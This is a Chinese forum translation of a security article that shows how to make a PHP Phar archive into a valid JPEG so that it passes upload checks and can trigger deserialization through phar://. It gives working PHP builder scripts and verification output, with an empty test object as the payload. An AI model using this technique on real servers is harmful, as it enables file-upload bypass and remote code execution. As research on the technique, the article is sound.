首页
社区
课程
招聘
[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测
2018-11-24 16:30 4728

[翻译]如何将 PHP Phar 包转化成图像以绕过文件类型检测

2018-11-24 16:30
4728

2018年的美国黑帽大会表明可以从PHAR包中获取RCE,并且可通过调整其二进制内容,将其伪装成完整的有效图像,从而绕过安全检查。
接下来就让我们一起看看这是如何做到的吧。

背景

在2018年的美国黑帽大会期间,Sam Thomas召开了一个关于利用PHP中的Far://流包装器在服务器上执行代码的会议(幻灯片在此)。

 

在执行PHAR包时,PHP会将其内容反序列化,允许攻击者启动PHP对象包含链。最有趣的部分是如何触发有效负载:存档上的任何文件操作都将执行它。最后,没有必要猜测正确的文件名,因为失败的文件调用也需要PHP来反序列化其内容。

 

作为奖励点,完全可以将PHAR包伪装成100%有效的图像。

 

在这篇文章中,我们将展示如何做到这一点。

低至字节码级别

有时我们会忘记文件只是遵循预定义结构的一堆字节而已。

 

应用程序将检查它们是否可以管理这样的数据流,如果它们成功,它们将产生输出。

 

在他的演讲中,Thomas对如何创建具有有效JPEG标头的PHAR包做出提示。

 

图片来自Sam Thomas的演示PPT
(图片来自Sam Thomas的演示PPT)

 

我们要做的就是创建一个包含JPEG头的文件,并相应地更新PHAR校验和。通过这种方式,它将被视为一个图像,但PHP能够执行它。

第一步

更改几个字节并更新校验和应该可以轻松完成,对吧?

 

并不是。

 

最后,(至少对我来说)计算校验和是一件痛苦的事情。我就在想:是否能用PHP来为我做这些工作呢?

 

于是,我对Thomas的源码进行了修改:

<?php
class TestObject {}

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub("\xFF\xD8\xFF\xFE\x13\xFA\x78\x74 __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

正如你看到的,我们将原始HEX字节添加到PHAR归档的存根部分。这是原始的HEX结果:

tampe125@AlphaCentauri:~$ xxd phar.jpeg 
00000000: ffd8 fffe 13fa 7874 205f 5f48 414c 545f  ......xt __HALT_
00000010: 434f 4d50 494c 4552 2829 3b20 3f3e 0d0a  COMPILER(); ?>..
00000020: 4c00 0000 0100 0000 1100 0000 0100 0000  L...............
00000030: 0000 1600 0000 4f3a 3130 3a22 5465 7374  ......O:10:"Test
00000040: 4f62 6a65 6374 223a 303a 7b7d 0800 0000  Object":0:{}....
00000050: 7465 7374 2e74 7874 0400 0000 177e 7a5b  test.txt.....~z[
00000060: 0400 0000 0c7e 7fd8 b601 0000 0000 0000  .....~..........
00000070: 7465 7374 6f9e d6c6 7d3f ffaa 7bc8 35ea  testo...}?..{.5.
00000080: bfb5 ecb8 7294 2692 0200 0000 4742 4d42  ....r.&.....GBMB

它是一个有效的PHAR包和JPEG图像吗?

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)

PHP成功将其识别为图像,我们可以继续探索存档的内容。

 

主要内容请查看存根部分并注意看它是如何缺少打开的PHP标记。这是躲过大多数扫描程序的关键部分。使存档有效的关键是__HALT_COMPILER()函数; 我认为PHP会用它作为标记来知道它应该跳过多少数据。

更进一步

我们有一个文件可以避开所有基于文件头的检查,但不能避开比检测文件头更复杂的一些检查。例如,检查图像的getimagesize将返回false,因为我们没有一个真实的图像文件:

tampe125@AlphaCentauri:~$ php -a
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
bool(false)

糟糕!

 

等等,我们完全可以在__HALT_COMPILER()函数之前注入尽可能多的乱码。

 

如果我们要制作整个图片呢?

 

花了太多时间来讨论JPEG规范和阅读PHP源代码(我不希望其是我最大的敌人),我决定再次装傻。

 

我可以简单地使用GIMP创建一个10x10黑色图像,并把它嵌入进去吗?

<?php
class TestObject {}

$jpeg_header_size = 
"\xff\xd8\xff\xe0\x00\x10\x4a\x46\x49\x46\x00\x01\x01\x01\x00\x48\x00\x48\x00\x00\xff\xfe\x00\x13".
"\x43\x72\x65\x61\x74\x65\x64\x20\x77\x69\x74\x68\x20\x47\x49\x4d\x50\xff\xdb\x00\x43\x00\x03\x02".
"\x02\x03\x02\x02\x03\x03\x03\x03\x04\x03\x03\x04\x05\x08\x05\x05\x04\x04\x05\x0a\x07\x07\x06\x08\x0c\x0a\x0c\x0c\x0b\x0a\x0b\x0b\x0d\x0e\x12\x10\x0d\x0e\x11\x0e\x0b\x0b\x10\x16\x10\x11\x13\x14\x15\x15".
"\x15\x0c\x0f\x17\x18\x16\x14\x18\x12\x14\x15\x14\xff\xdb\x00\x43\x01\x03\x04\x04\x05\x04\x05\x09\x05\x05\x09\x14\x0d\x0b\x0d\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14".
"\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\x14\xff\xc2\x00\x11\x08\x00\x0a\x00\x0a\x03\x01\x11\x00\x02\x11\x01\x03\x11\x01".
"\xff\xc4\x00\x15\x00\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x08\xff\xc4\x00\x14\x01\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xff\xda\x00\x0c\x03".
"\x01\x00\x02\x10\x03\x10\x00\x00\x01\x95\x00\x07\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x05\x02\x1f\xff\xc4\x00\x14\x11".
"\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20".
"\xff\xda\x00\x08\x01\x02\x01\x01\x3f\x01\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x06\x3f\x02\x1f\xff\xc4\x00\x14\x10\x01".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x21\x1f\xff\xda\x00\x0c\x03\x01\x00\x02\x00\x03\x00\x00\x00\x10\x92\x4f\xff\xc4\x00\x14\x11\x01\x00".
"\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x03\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x11\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda".
"\x00\x08\x01\x02\x01\x01\x3f\x10\x1f\xff\xc4\x00\x14\x10\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x20\xff\xda\x00\x08\x01\x01\x00\x01\x3f\x10\x1f\xff\xd9";

$phar = new Phar("phar.phar");
$phar->startBuffering();
$phar->addFromString("test.txt","test");
$phar->setStub($jpeg_header_size." __HALT_COMPILER(); ?>");
$o = new TestObject();
$phar->setMetadata($o);
$phar->stopBuffering();

现在,是检验的时刻了:

tampe125@AlphaCentauri:~$ file phar.jpeg 
phar.jpeg: JPEG image data, JFIF standard 1.01, resolution (DPI), density 72x72, segment length 16, comment: "Created with GIMP", progressive, precision 8, 10x10, frames 3
tampe125@AlphaCentauri:~$ php -a
php > var_dump(mime_content_type('phar.jpeg'));
php shell code:1:
string(10) "image/jpeg"
php > var_dump(file_exists('phar://phar.jpeg/test.txt'));
php shell code:1:
bool(true)
php > var_dump(getimagesize('phar.jpeg'));
php shell code:1:
array(7) {
  [0] =>
  int(10)
  [1] =>
  int(10)
  [2] =>
  int(2)
  [3] =>
  string(22) "width="10" height="10""
  'bits' =>
  int(8)
  'channels' =>
  int(3)
  'mime' =>
  string(10) "image/jpeg"
}

最后,我们成功啦!文件是一个PHAR包,其中包含了我们想要利用的类,但它仍然是一个有效的图像(它甚至可以用系统的图像查看器打开):

 

结论

如上文所述,文件只是一堆字节:如果我们所做的检查都是基于其元数据的,那这个过程将会比较难受。篡改核心函数以返回我们想要的结果是非常容易的。唯一的解决方案是实际地读取文件内容并搜索恶意字符串。

 

原文链接

 

翻译:看雪Logdty
校对:看雪cherrir


[培训]二进制漏洞攻防(第3期);满10人开班;模糊测试与工具使用二次开发;网络协议漏洞挖掘;Linux内核漏洞挖掘与利用;AOSP漏洞挖掘与利用;代码审计。

收藏
点赞2
打赏
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回